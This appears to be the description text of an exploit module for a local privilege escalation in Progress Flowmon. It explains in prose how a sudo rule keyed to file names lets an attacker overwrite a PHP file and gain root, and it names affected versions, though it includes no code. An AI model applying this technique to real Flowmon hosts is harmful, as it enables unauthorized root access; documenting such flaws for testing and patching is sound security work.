          This module abuses a feature of the sudo command on Progress Flowmon.
          Certain binary files are allowed to automatically elevate
          with the sudo command.  This is based off of the file name.  This
          includes executing a PHP command with a specific file name. If the
          file is overwritten with PHP code it can be used to elevate privileges
          to root. Progress Flowmon up to at least version 12.3.5 is vulnerable.
